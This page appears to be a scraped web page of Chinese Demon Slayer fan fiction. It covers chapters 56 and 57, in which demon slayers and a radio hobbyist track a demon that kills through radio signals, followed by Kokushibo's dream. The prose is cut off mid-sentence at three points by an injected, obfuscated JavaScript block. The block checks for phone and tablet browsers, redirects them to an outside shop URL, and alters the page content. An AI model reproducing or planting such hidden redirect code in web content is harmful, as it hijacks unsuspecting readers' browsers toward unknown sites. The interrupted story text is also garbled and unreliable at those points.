实弥如入无人之境,上手就去拆裹尸袋。你把手指拉开一条缝,瞄一眼就合上了:里面啃食的痕迹已经实锤了。 只不过和你预想的有一点偏差。痕迹都是新鲜的,鬼蹲守在这里吃了它们。佛教讲究火葬,你们来晚一些,这批尸体进了火炉烧成灰,谁也查不出问题。 实弥脸色很差:“让它逃了。” 这应当是只有异能的鬼,专挑无人关注的底层流浪人口下手,先利用血鬼术让人神秘失踪,等身死后才来义冢食用,实在是够狡猾的。要不是最近死亡人数不正常上升,引起了鬼杀队的注意,不知道还能让它潜伏多久。 他再去翻其他尸袋,共清点出七具啃食过后的尸体,从尸僵程度看都是今天才过世的。 你在旁边强忍着恐惧,把没有问题的尸袋复原,一一搬回去。全程你们没有一句话。 你一边搬一边想,佛教把超度受苦的鬼魂、孤魂叫“施饿鬼”,这下真施饿鬼了,简直是地狱笑话。 阿弥陀佛,得罪、得罪。 天蒙蒙亮,犯案凶手也没返回凶杀现场。倒是蛇柱的鎹鸦夕庵飞过来,告诉他伊黑已杀完鬼前往下一个任务地点。 换班失败了,你还得跟着这个人。 你发愁地看一眼淡下去的天色,没想好怎么提醒他。 你跟在实弥身后,沉默地走在树荫下。 那一阵情绪过后,你其实没再生他气了。话虽难听,但也确实,是事实。而且,他也挺照顾你的,不是吗? 那件事发生的瞬间,你都没有反应过来。满脑子都是惊讶、不可置信,怒火刚一冒头,他就干净利落地解决掉了,以至于完全想不起来要发怒了。 他可以只单揍一个人,这样简单得多。之所以弄翻整个桌子,冒着事情闹大的风险,是因为他也看到了,那个被迫押上所有筹码的孩子吧。 不死川实弥的确是一个好人,就是手段太直接,嘴硬,脾气也不大好。 你对付这种人,十分得苦手。 要不,等太阳升起一点了再说吧,反正可以在阴影里躲一会儿。 正胡思乱想着,旁边嘎吱一声,轮胎在沙地上摩擦出刺耳的声响。一辆汽车停下,摁响喇叭。 “你怎么在这里,我捎你一程,”时彦摇下车窗愉快地探出脑袋,然后一秒变苦大仇深,“你怎么也在这里啊!” 汽车里,你费尽唇舌,好不容易说清楚你和不死川实弥现在是“有着共同目标与志向的好朋友”了,正一起追查类似于上次的那种“神奇生物”。 时彦点着头道“好好好”,然后猛踩刹车。 “合着你们不打不相识,我白挨揍是吧?”他指着已没什么痕迹的额头冲后座的实弥喊道,“下车,我们再打一架。” 实弥抱着剑,闻言只是冷笑。你大惊失色,连忙阻止道:“这个不急,我们……” 时彦已拉开车门,下车开始活动四肢。 “瞧不起我?我在军校,格斗成绩数一数二,上次那是没准备好,”他摆出架势,“来啊!” 你闭上眼,不忍见证接下来的惨状。 时彦一分钟摔完八次,老老实实继续开车。 “你们去哪里?这一片我熟啊,住店、吃饭还是玩,听我的就没错。要是还没定下来,先到我家啊。” 你岔开话题:“你怎么在这儿?大早上就出来了,不像你啊。” 他撇撇嘴:“还说呢。当初我从军校退学老头子就气疯了,还飙车进局子,他老人家就给我发配乡下了。东京、京都、早稻田三所大学,随便哪一所,考不上这辈子都不许回东京。” “那他没没收你的车?” “凭什么没收啊,我又不是故意的。多练练以后就不会超速了。” “还有空练车,我看你是考不上了。” “考不上就考不上,我还不能干点别的了?”他腾出手抓起副驾驶座上的包,小学生献宝一样,“给你看看。” 包里是一台自制的矿石收音机。 “你喜欢无线电?” “这里玩这个的多吗?” 你和实弥同时开口,你看他一眼,缩回去不说话了。 时彦调转方向盘:“不多啊,玩这个需要实力,实力你懂吗?” 实弥不再闭目养神,目光灼灼地盯着他的后脑勺:“那这里官方运营的无线电多吗?” 时彦也忍不住缩脖子:“那当然了,这里可是著名的电力枢纽啊,相关行业都很发达的,还有个码头,多需要无线电通讯啊。还有,据不可靠内幕消息,最多三四年,海军就会建立起新的大型无线电信所,我已经做好准备申请收听许可了,昨晚就是偷偷试试能不能收听到测试信号。” 怪不得凌晨开着车乱转,和你碰上。 “现在使用无线电信所是哪个,开车去。” “我干嘛……” 你拉一下他的衣袖:“快去吧。” 汽车停留在一座铁架搭起的塔下。 时彦和实弥都下了车,你脱下外套包住脑袋,躲在座椅下面。 实弥带着刀在附近转悠了好几个小时,榛飞来飞去似乎也在打探消息,一人一鸦忙活半天,都没有什么收获。 时彦再开车送你们去饭店。 “可惜这附近都没什么好的咖啡馆。” “我最近不喝咖啡了,”你睁着眼睛说瞎话,“怕睡不着。” “那吃什么?” “我不饿,你们吃。” 饭桌上,时彦又把他的收音机拿出来,滴滴答答地摆弄,实弥埋头吃饭,你为了显得合群偶尔端起杯子喝两口水。水无色无味,太好了。 和谐的画面没有维持太久。当时彦调整金属丝,耳机里传出清晰的声音时,一块石头砸破玻璃,精准地落到你们这一桌上,将那发声的设备砸了个稀巴烂。 时彦惊呼着去抢救他那宝贝,已经迟了,固定在上面的黄铜矿晶体四分五裂,掉了一地。 “是谁!谁干的?”他愤怒地拍桌,冲出门去,一会儿就在拐角处逮住个孩子。 “还跑!我都看见了,就是你!你爸妈在哪里,他们怎么教你的?这样危险知不知道,砸到人怎么办?” 孩子尖叫着疯狂扭打,怎么也甩脱不开。 “真是没有礼貌,我替你爸爸教教,遇到这种事,首先要道……” 歉字还没说出口,那孩子一口咬在了他手上。 “都是你、都是你!”他哭得上气不接下气,“都是那些东西,我爸爸没有工作了,他也不回来了!都是你,呜呜……” 时彦傻住:“这不能怪我吧?好了,你别哭了,我请你吃糖,快别哭了,你看我有糖……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224702|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 小孩越哭越大声,他急得冒汗儿,隔着破掉的玻璃求助地看向你。 你站起来:“不死川先生,是晚上那个……” 实弥已推门走出去。 “我见过你爸爸的,他是不是穿一件灰色的衣服,一只木屐是断掉的?” 小孩收住哭声打起嗝来,两只赤脚不安地交换着重心:“不、不是,他的衣服是黑色的,后背有两块蓝色的补丁,是我妈妈刚缝上去的,他、他和我都没有木屐。” 窗里窗外,你和实弥齐齐沉默下来。几个小时前才翻过的尸体,你们都有印象。 时彦虽不清楚发生了什么,也从他的脸上看出端倪,搔搔头皮干笑两声:“哈哈,我说呢,这算什么,一块儿玻璃嘛。来来来,饿了吧,我请你吃饭。” 他又哄又劝,把人带进饭店,自己掏钱赔了店家,再点了一大桌子菜。小孩儿没两下就缴械投降,狼吞虎咽起来。 你们趁机问他: “你爸爸什么时候不见的呀?” “还记得那天发生了什么吗?” “你是要到哪里找他?” 男孩嘴里塞满了食物,声音嘟嘟囔囔的:“我爸爸想办法挣钱呢,他每天都回来,不回来,妈妈也去找他去送饭,可昨天起他就不见了,我们谁也找不到他,呜呜呜……” 他又痛哭起来,还不忘把饭塞嘴里:“呜呜,真好吃,能给我妈还有弟弟妹妹们带点儿吗,呜……” 人竟然是在白天失踪的。你看一眼实弥,他也皱起眉来。 血鬼术能在白天发挥作用吗? 时彦带着打包好的饭盒去送小孩。他住的地方远远看着就觉得乌七八糟,七拐八绕的小巷堵塞着各种杂物,车根本开不进去。 你还是裹着衣服在车里等,他们出来只道:“那个女人什么也不肯说。” 木板和帆布搭建起来的破旧小屋,瘦骨嶙峋的女人抱着孩子们,戒备地看着两个高大、健壮、一身整洁的陌生人,自始至终都没有吐露半个字。 实弥道:“我看到屋里堆着好多电线、废铁,可能他们在靠倒卖这些东西生活,就往这儿查吧。” 汽车打起火,正要发动,一只小手啪啪地拍在车窗上。 “你们是不是要去找我爸爸?”小孩儿跳起来,“我也要去!” 一路上,时彦不停地数落他:“知不知道这样很危险?” 小孩儿满不在乎:“我知道爸爸常去哪儿,我们都可讨厌那里了,有机会就去拆东西。” 时彦看着路:“那不是离电信所不远吗?检查过了,没问题啊。” 实弥手提着刀方便随时抽出来:“白天没问题,晚上可不一定。” 车窗外,太阳已落到山头。 你们吹着冷风蹲守在废弃的信号塔下。 这是上个世纪的旧物,上头重勘地形后,选择了相隔不远更好的新址,这儿渐渐就被收废铁的人拆得不像样了。 到了地点,绕过夜间巡逻人员的驻扎点,实弥就叫时彦带着小孩儿回去。 他们一个说“我也对神奇生物感兴趣了我要加入你们”,一个叫着“我要找我爸爸”,全都不肯走,惹得他火冒三丈。 “快走!”他不耐烦地挥手,“你们只会拖累我。” 时彦振振有词:“我给你当司机跑一天了,怎么,连真相都不配知道了?” 小孩就一句话:“我要找我爸爸!” 实弥气得发笑:“你们觉得自己还挺有用的,是吧?” 时彦挺起胸膛:“我怎么没用了?你那是什么组织,我申请加入!” “公子哥儿想玩游戏找别人去,”实弥亮出刀锋游移着寻找虚空中的目标,“我们都是经过了严酷的训练和考验,才能成为鬼杀队的一员。” “哈?”他把你推前来,“那你告诉我,她能通过什么严酷的训练和考验?” 你绷不住了,怎么好好的,人身攻击起来了? 看着实弥一副噎住的样子,他哈哈大笑起来:“说不出来了吧?我总比她有用,能留下来了吧?” 实弥选择不搭理你们。他扩大了搜寻的范围,一个人带着刀在附近巡视,将你们罩在保护下。 作为在场唯一一只鬼,你得时刻保证自己在他视线下,遂跟随过去。 时彦看了一会儿孩子,追上来和你唠嗑:“你真的加入了他们?你不怕鬼了?” 你点头:“没有以前那么怕了。” 一直以来,你所害怕的都是玄学中虚无缥缈游荡在生死之间的不可知物。知道他们口中的“鬼”其实是人转化来的变异生物后,恐惧就已经消失了大半。 他看看实弥的背影,盯住你的眼睛,声音低到快听不清:“告诉我你不是被迫的。” 你举起三根手指:“我能发誓。” 他摁下你的手:“行了,别来这一套,我信了。但你也别太勉强自己,难的就交给他。谁让他通过了什么严酷的训练和考验呢?” 你笑笑,故作轻松:“难道我不是这么做的吗?” 小孩儿等得无聊了,一蹦一跳,来到你们跟前,顺便接过时彦手里的糖:“这样能找到我爸爸吗?” 他吮吸着舌尖蔓延开的甜味,糖块在牙齿间撞出咔咔的声音。 你摸摸小孩儿的头,笑着刚要说什么,他的脑袋忽地向一侧倒去,眼睛、鼻子、嘴巴都流出了血。 你完全愣住,不明白发生了什么,而后发出撕心裂肺的尖叫! 56.第 56 章 你抱住怀中小小的不断下滑的温热身体,崩溃地持续发出尖叫。时彦呆立着还维持着伸出手的姿势,似乎还在试图理解流血与死亡的关系。 反应最快的是不死川实弥,几乎在你发出声音的同时,青绿色的刀锋就送了过来。但他切玉断金的剑气劈入空气,仅仅留下骇人的回响。 这儿什么也没有,但的确有人死去了。 你惊恐的叫声细弱下去,变成一声声沉重、迟滞的喘息,发软的腿撑不住一具不断倾倒的躯壳,跟着坐在地上。 这不是小说、不是故事,他也不是小奥利弗,贫穷的流浪生活结束就有富裕的亲戚来,告诉他其实是一个小姐的孩子。 文学的假想幻灭了,这个现实里的孩子转眼间死去,他短暂又困苦的一生比肥皂泡破得还轻易。或许他也会有不输名著的跌宕起伏的一生,但那无限的可能已被掐灭。 死亡是一切归零。 你浑身颤抖,时彦也好不了多少。他急促的呼吸扑在你的发顶,带来一小片温热的潮湿。 “是我的错,这都怪我,”他说,“我该带着他离开的。” 你能说什么呢?他不肯走是因为担心你,做不到留下你一人和不久前还刀剑相向的人独处,已成定局也要把过错揽在自己头上。可最开始该站出来的,是你呀。你该态度坚决地拒绝,让他不要掺合进无关的危险事情里。 你罢工掉的情绪这才慢慢跟上了过劳的神经,迟来的泪水啪嗒啪嗒掉落。 “不,不,是我的错,我不忍心,一开始告诉他爸爸已经去世就好了……” 那样,他就不会追上来了。 你们两个哭了一会儿,还是要面对现实。时彦脱下外衣盖在孩子的脸上,抱着他上车。 “得给他母亲看看,不管怎么样,孩子妈妈要看看。”他哆嗦着说。 你也哆嗦起来。 你们一起怯懦地看向不死川实弥,指望这个在场唯一看着还算冷静的人,来给你们拿个主意。 他握刀的手耷拉着,刀尖拖在地上,和主人一样垂头丧气。 血鬼术是远程发动的,鬼没有来,而且很可能不会来了。 这样一只谨慎到能隔空杀人,还要蹲守着吃尸体的鬼,一旦察觉到鬼杀队的追踪,只会藏匿地更深。他没有第一时间识破恶鬼的伎俩,还打草惊蛇,连累了一条人命。 狭窄泥泞的小道上,时彦抱着孩子走在最前面。你看着两人的背影,明白目的地已在眼前了。 他们的头低到不能再低。 “等、等会儿!”眼看着就要敲门,你大叫一声。 “得给他们点儿,钱。”你干涩地说道,连忙翻包。 “对、对。”时彦如梦初醒,单手抱住不大的尸身,一只手去翻兜。 不同面额的纸钞叠放起来连同一大把硬币一起交到实弥手上,你们期待地看着他。后者绷紧嘴角,抱过衣服下的孩子,推门而入。 你们眼巴巴地在门外等,没过多久,东西碎裂和大声的斥骂传来,按捺不住冲了进去。 瘦弱不堪的女人疯了一样地哭嚎、砸东西,钱扔得到处都是,硬币像石子一样兜头就砸。你刚一露面就砸了个满头满脸,根本不敢躲,连连鞠躬道歉。 三个人站成一排,一起向她鞠躬,直到被愤怒的女人推搡出来。脆弱的门板砰一声合上,好险没有拍烂。 你们失魂落魄,走出长街,海里的潮声听起来也如此颓丧。榛在头顶绕了几圈,落在主人肩上,光洁的尾羽低垂着。 一片寂静中,时彦越来越紧的呼吸声格外明显。你察觉到不对劲赶紧从包里找出一个袋子,他双手麻木几乎要拿不稳。 “我、我可能,猜到是怎么回事了。”他艰难地吐字。 你拍着背帮他顺气:“我也有一个想法,如果和你的一样,你就点头,行吗?” 他点点头,重新把纸袋套在嘴边。 你深呼吸,慢慢整理思路。 “我觉得,这次是灯下黑。线索其实很明显,但也因此我们都忽略了。”你转向实弥,用肯定的语气加重道,“这只鬼命中受害者,和受害者之所以为受害者的原因是一样的。” 他不习惯似的移开视线:“这个我有想过。那个孩子,他是符合鬼的偏好的。” 因为科技发展,失去收入的人群中的一员。 你抬头看向这里无处不在的电线,还有耸立在天际的高大的信号塔。 “我怀疑,那只鬼是用类似于无线电的原理锁定目标的。他使用血鬼术,就像人给发射机调频,而且只有特定的人能接收到信号受到伤害。” 在场三个人一只鬼,只有孩子去世了。他还很小,立即就死去了,大人的话,恐怕是强忍着不适继续奔波,白天时才倒毙路口,无人认领就被收容到寺庙,落入鬼手。 时彦点头表示赞同 “那这样的话,我们可以追踪信号找到这只鬼吧?”实弥振奋起来,拇指抵在刀镡上,顶出一截发亮的刀身,松开手咔的一声落回去,拧起的笑容仿佛已经把刀插进了它的脖子。 他看不懂这些年越来越复杂的新发明,但他懂鬼。发动血鬼术是一定会留下痕迹,追着它们,他一定能找到鬼。到时候,就是让它付出代价的时刻了。 “可以是可以,不过……”时彦取下了袋子,“容我做一个不乐观的猜想,它或许本身并不强,但可以借助这个——” 他点一点远处的信号塔,继续道:“把‘信号’覆盖到相邻几个城市甚至相当范围的海域内,我们要找到它,无异于大海捞针。” 你等着他的转折。 时彦笑起来,黑夜中绽开的笑容像升起了一颗星。 “但我刚好可以做到。” 你们来到时彦住的地方搬设备。 “这行吗?”实弥问。 他把纸箱抬进车:“只要它的攻击本质上还是电磁波,就有用。不说了,等我去摇人。” 关好车,他跑回屋里打电话。据他说,这座城里所有的无线电爱好者都已经被他叫起来了,任务是在各个地点收听可能出现的不正常信号并且寻找信号消失点,随时电话报告结果。 实弥和他爬上屋顶,支起环状天线,你留在屋里负责等消息。 一个又一个电话打进来。 “这么有意思的活动,加我一个呗。” “收音机已就位,等我电话。” “来了来了,马上就好!” …… 嘟嘟嘟的电话声不绝如缕,你强忍住落泪的冲动,提笔把他们各自的位置和收听的频率记下来,然后报给屋顶上的时彦。 他旋转着天线,忧心冲冲道:“这里的发射机都是已知的,只要探测到一个记录外的发射源,就能找到鬼。就怕它躲起来,不出声了。” “不会的!”你打开窗户大喊道,“它是很小心没错,但越是小心越容易反应过度。它顺风顺水那么久,今天栽了个跟头,这会儿肯定急了。越急,越会出错。” 你懂的,因为你就是这种人。一有点风吹草动,别人还没怎么着,你已经想了一堆自己把自己吓死了。过分筹谋,就会百密一疏。你们要抓住这个代价惨重的疏漏。 时彦放松一点,认真操作起来。 这种二十世纪初的装置效率很低,一次测量只能得到一条方向线。但是没有关系,今夜不止一部旋转的天线大海捞针,人类的复仇梭巡在电磁波的世界里,随时准备落下审判的法槌。 时彦一把扯下耳机宣布:“找到了!” 他低声骂一句脏话,又道:“它在移动!” 你抱着天线大半个身子探出车窗寻找信号,从现在起,电话支援已帮不上忙,你们只能凭时彦的经验去追那个一直在变动的发射源。他骂骂咧咧,油门踩到底。 你一边想着“有部手机就好了”,一边按他的指示调整手里的设备,寻找那个所谓的“零点”。 实弥焦躁不安地抱着日轮刀,顺便观察着路况。这是头一回,他在杀鬼这件事上如此被动。 “专业的事让专业的人做,虽然我不怎么专业,”时彦抽空安慰他,“你要做的就是抓住那只鬼,让它血债血偿!” 实弥握紧拳头。这是当然的。 汽车驶向宽阔的街道,路途中你们不止一次碰到屋顶上的人,他们认出车主,大声喊出自己的检测结果。 有他们排除错误项,天线再次转到与电波传播方向垂直的零点。 “快了!”时彦大喊。 突然,车身一阵猛烈地颠簸,偏移路线重重地撞在墙上。你一下子甩出去滚到地上,肋骨断裂再愈合,内脏出血重新吸收。另一边,实弥拉着时彦顺利跳车,平稳落地。 马路当中,罪魁祸首正对着你们露出血腥的笑容,放射状的唇齿快速开合,发出难听的声音。 你只看了一眼,就被这具仿佛打断后胡乱拼起来的躯体弄得眩晕了。就算不是它的目标,近距离接触这种电磁攻击,还是浑身难受。 好恶心,呕…… 你猜实弥只会更加受不了,但他身姿笔挺,手顺势一推,丢下一句“跑”,就拔刀向前推进。飞扬的剑光如风暴过境,席卷那颗奇形怪状的头颅。 “三之型·晴岚风树!” 声音骤然增大,你捂着耳朵跌跌撞撞倒地,时彦手脚并用爬过来,打开汽车后置的行李箱。 鬼头落地,奇怪的声音没有消失,反而愈演愈烈。 时彦毫不奇怪,拖出箱子里的东西,狂摁按钮。火花隙发射机,没有谐振电路的原始发射机,因为会对信号频率造 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230075|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成干扰已被淘汰。精确发动的血鬼术淹没在电气噪音中。 “不死川先生!”他喊道。 绿色的狂风如愿拧下第二颗头颅。 恶鬼最后的分身丧心病狂地怒吼,发射机裂开。它,调整波段放宽了攻击范围。 你大脑一片空白。 不行,时彦不只是时彦,还有他身后献出无私帮助的众人。血鬼术再次发动,收听这一段频率的人们都会死去。 怎么办、怎么办、怎么办? 喊人已经来不及了,你不能去赌谁更快。 得想个办法,把攻击吸引过来。它应该是一次只能瞄准一类目标人群的。 你划开胳膊,稀血味道弥漫开来。 鬼身形顿住。 太好了,起作用了,不死川先生呢? 轰!无形的波在这一刻如有实质,海啸一般砸在身上。你两眼一黑掀翻在地,终于看到他如平地惊雷的一刀,扫空了尖啸的灰烬。 解决了。 你平静地想。完好躯体下震碎的内脏缓慢弥合再分出界限,大脑里流出的血凝固在鼻腔和耳道,黏住破损的耳膜,坏死掉的眼睛多花了一会儿时间才恢复感光。所以,你显得格外平静,甚至有功夫思考哲学。 比如人生的悲喜剧从不同维度看完全不同,站起点看变鬼妥妥的悲剧,但在当下绝对是喜剧——这要是人早死得透透的了吧! 时彦叫着你的名字惊慌地跑过来。 “怎么样了?没事吧!” 他大呼小叫冲到你面前,声音堵死在喉咙:月光下,你胳膊上翻起的伤口正像蒸发的水汽一样消失不见。 实弥收好了刀,观察着他的表情。 时彦蹲下,把你挽起的袖子拉下来:“没事就好。” 他努力笑一下,笑容越来越大:“你看我的车,哈哈哈哈,这下老头子一辈子都不会让我开车了,哈哈哈哈……话说,你们饿了没?我好饿啊,今天一天几乎什么也没吃呢,到我家我给你嘛做夜宵!哈哈……” “时彦,”你轻声说,身体里的疼痛仍然像水波一样晃着,“我和刚刚死掉的那个一样是鬼。” “别说了,”他迫切地看向你,几乎是恳求地说,“怎么会是一样的呢?” 他急切地寻找着什么,转来转去,盯住了实弥:“不死川先生,您最清楚了,不一样的,对吧?” 他沉默起身,什么也没有说。 你们并排走在夜间空荡荡的街道上。 说出了实话,你无比轻松,不用再拉腿,安心地待在一米六的高度,只到他们肩膀,组成三人中“凹”字的中间部分。 时彦堵着气,也不说话。到了要分开的时候,才怪叫着扑上来:“你上哪儿去?” “我跟他走啊。”你说。 他枪口立即对准实弥:“你要去哪儿!” “到我们的地盘,休息一下再走啊。怎么了?” 他瞪圆眼睛,怒道:“好啊,带着有妇之夫出来,还要休息一下再走,你下流!” 实弥无语,你来灭火:“我是进步的新女性,我才不迂腐,走累了休息一下怎么了?” 他抓抓乱掉的头发:“你认真的?” “认真。” “那好,”他语出惊人,“你们到哪儿我也去,我睡你们中间!” 最终,你们选择回到时彦的房里。 他满口嚷嚷着饿啦、要吃什么啦,结果一开房门扑倒在沙发上睡死过去。你上楼找了床被子给他盖上,扭头看见实弥仰躺在地毯上也合着眼睛。他们是真的累坏了。 你再去找被子,给实弥也盖上。然后坐下来,望着他们发呆。 你想,那个孩子死去的时候,你吐露真相的时候,时彦是真的非常震惊、痛哭。可这会儿,他的睡颜上已瞧不出一丝这样的痕迹。他上翘的嘴角在梦里也展露出笑意,或许正得意地回想这一场酣畅淋漓的复仇,觉得你的身份同样不成问题,反正朋友就是朋友。 他永远有一股力量,可以战胜所有不幸带来的影响。实弥也有这种力量,多少次,不管他怎么疲惫、满身是伤地归来,清晨又是一个昂扬的斗士,抖擞精神踏上不知何时结束的征途。 你想了又想,顿悟过来:这就是少年意气啊,是永不回头的时光终会带走的东西,一种你再也捡拾不回来的东西。 突然之间,你痛到比重伤更甚。数十年光阴的分量在意识到的那刻就压弯了脊柱,你感受到自身的衰老,佝偻着腰俯下身,免得发出痛呼吵醒他们,呼吸仍不可避免地粗重起来。 好痛…… 岩胜呢?四百年不变的外表下,他的心也在和你一样衰老吗?他累积下来的痛该有那么、那么得,多。 分别后,你第一次想起他,因而泪水涟涟。 57.第 57 章 黑死牟久违地做着梦。 这种感觉实在太过陌生,以至于他第一时间就意识到了,一切都是梦境。 很奇怪,他都想不起上一次入睡是什么时候了。变鬼后,随着实力的提升,身体需要的睡眠时间越来越少,偶尔睡一觉也是打个盹的功夫,不会有梦来光顾。 你就不是这样了。你是他见过觉最多的鬼,当然他也没见过几个鬼,但他猜不会有鬼会像你这样,要在疲倦、厌烦或满足的时刻都逃遁进睡眠中。 各式各样的梦都来挑动你的情绪,他观察你每一点的变化推测内容的好坏,抱住你把那副纤细身体的所有反应都包裹起来。但类似的感觉一次也没有降临在自己身上。 偏偏在你离开后,他做着梦。 这是一个好梦吗?他不知道。判断力要从经验中得来,他一向缺乏。 梦里你还待在继国家,长长的头发拢在脑后,发带扎得低低的。虽然梳着大人的发型,身量还是个孩子。 刚一照面,他就明白了这是你刚嫁过来的时候,是家中最灰暗的一段时光。母亲过世,缘一杳无音讯,父亲放任自己病倒,他忙于接手军务,你要一个人撑起一大家子,顺带照顾一个脾气古怪的病老头。 梦真是一种古怪的感觉,他的一切感知与那个十来岁的少年同步,又另有一部分悬浮在虚空,把你的反应也看得清清楚楚。 少年轻快地跳起来抓住檐下掠过的鸟儿送到你面前,你惊慌不已,要求他快点儿放开。隔着四百年的时光,至高的上弦之一再次体会当年的心情。 不高兴。因为你没有看到他速度多么快、时机把握得有多准,视线黏在那只扑腾的鸟上,一直小声地哀求放了它。 岩胜很不高兴。但是,你看他练剑的样子足以抵消掉这点不快乐,你又为此一路小跑求那么久了,放掉就放掉吧。 你能开心,那也是很好的。他也就为你做这么点儿小事了。 四百年前的愧疚苏醒过来。 黑死牟想起那时他整日地流连在外,军务只是借口。真实的原因是,他在逃避,逃避家中那双昏昏沉沉,并不落在他这里的眼睛。 我做得够好吗?他会满意吗?这些问题注定没有答案,因为父亲不再思考它们。他就这么踩不到实地一样飘着,自私地把一切抛给你,只因负起生活的重量于你是理所当然的。 可是,他清楚,每个清晨匆匆跨出家门,背后的你是羡慕的。这点,梦境里尤为清晰。你羡慕地看着岩胜的背影。 你很累,累了一天躺在床上,说要早点睡,这样才能长高。可是他披着夜色躺在你身侧时,你总醒着。 梦里他看到当年没看到的东西,你乌溜溜的眼睛眨一眨,看看他才安心地闭上。 意识在此刻抽离,六只金色的鬼目睁开。 为什么突然梦到一个离开的人,他在想你吗? 黑死牟不知道。 天快亮时,实弥醒过来。 没有看到紫藤花之家熟悉的标识,他有些发懵。很快,昨夜的记忆涌来,他翻身坐起。 他放任一只鬼和人共处一室,还睡着了。 惊悸的情绪很快消失。昏暗的房间里,对面沙发上裹着被子的人形并不清晰,但那起伏的节奏还是很明显的。 实弥抹了一把脸,让自己清醒一些,后知后觉地发现身上同样有一条被子。 简单收拾了一下,他开始寻找你的身影。这不难,屋里亮光的地方就是了。 你点了一只蜡烛,背对着他们,拿着笔看样子在写写画画。 实弥没有出声,安静地看了一会儿。你时而眉心紧皱,时而恍然大悟,表情变化不定,有时停下来咬咬笔头,烦躁地在纸上划线,突然又坐直了奋笔疾书。 你总是在抽空写东西。天亮一个躲在车里的时候、等他们吃饭的时候,还有现在。 他有一次问过你在写什么。 “干掉童磨的行动方案啊。”你理所当然地答道。 当时他好像嗤笑一声就走开了。 “我能看看吗?”实弥站在你身后。 你吓得差点儿把钢笔扔了出去。这和监考老师突然盯住你有什么区别! 他眼疾手快扶住椅背才没让你摔个倒仰。 “至于吗?”他很无语。 你干笑着把小本本奉上。 他翻了几页就合上:“你写汉字?” “对啊。”虽然穿过来很久了,听说读写都跟原住民不差什么,但思考复杂的问题时,你还是习惯先用母语整理思路。 “这还是草稿,等写完了就用日语定稿。不,我现在就写。”好不容易等到他感兴趣了,你赶紧打起精神推销,“要不要先听听?简单地说,我的方法是……” “行了,”他丢下本子,“收拾收拾准备走吧,太阳升起来不好赶路了。” 你拳头抵住额头,深呼吸几下。 “好,等我洗漱完。” 你翻出毛巾、牙刷,到卫生间飞快地梳好头发、洗脸、刷牙、漱口,出来已经换上了香奈惠准备的换洗衣服。 “我早就想说了,”他斜瞟了一眼,“你不吃东西还每天刷牙?” 你思考几秒,然后一拍脑袋。 “对哦!刷牙是因为吃了饭啊!” 他看你的表情宛如看一个智障。 你讪讪一笑,低下头。这一套起床流程已经是你底层代码的一部分了,属于不必思考其所以然的部分,没想到会因为这个闹笑话。 “走啦。”你先去推门。 路过客厅,你们都慢下来,尽量不发出声音吵醒沙发上的人。可惜,电话并不给你们面子,刺耳的铃声划破寂静,时彦顶着鸡窝头爬起来:“谁?” 连接好几个电话眉飞色舞讲完自己的英勇事迹后,时彦咔地挂上听筒,不满地大叫起来:“太不够意思了,你们!还是不是朋友了?” 实弥一副官腔:“我忙着呢,谁知道你睡什么时候。” “那也没必要这么早吧。”他换一身新西装,压一压头发,“干什么?我也要去。” 争执之间,天已蒙蒙亮。 你只好道:“你们去吧,我在这里等你们。” 大白天你也不可能逃走,实弥用他那双好像永远怒气冲冲的眼睛瞪了你好一会儿,才点头答应下来。 他打算做一点收尾工作,看能不能在紫藤花之家给那家人找点打杂的活儿,有固定收入的话,孤儿寡母也能活下去。 时彦大大咧咧:“不行就让他们来我这里领工资,扫扫院子就行了。不过,他们可能不愿来。” 他低落一会儿又高兴起来:“总会有工作的。我先叫人把车拖回来,看能不能修,撞坏的墙也要赔,一起走吧。” 他热情地和实弥勾肩搭背,被推开也不介意,叽叽喳喳地念叨着昨晚杀鬼的事:“你那几招真过瘾,能不能教教我?不能啊……” 走出小洋楼,笑容才淡下来:“能和我说说鬼的事吗?” 实弥并不奇怪:“你想知道什么?” 时彦咬咬牙:“鬼是不是人变的?别这么看我,我是猜的。昨晚那个鬼,他穿着以前电报员的衣服。虽然很脏很旧还撑裂了,但我不会认错。” “是又怎么样?人一旦变鬼,理智、感情还有廉耻就不复存在了,亲友故旧全都可以下手。把你的血肉嚼干了也不会厌足。鬼是这种生物,你最好记住这一点。” 实弥想,不到两天,他有好几次差点忘记你是鬼了。这太不应该了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233303|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 实弥还记得主公宣布接纳你进入鬼杀队的决定时,特意强调了你的死因,以及追查十余年的社会关系后没有发现不正常的死亡事件。换言之,你是没有吃过人的。他和你短短的几次接触中,也没有发现这样的倾向。 但又如何呢?不管生前是什么样的人,你已经是鬼了,是以人为食的生物。因为有这样的生物存在,无数人的生命置于威胁之中,他们的血泪是能忘掉的吗? 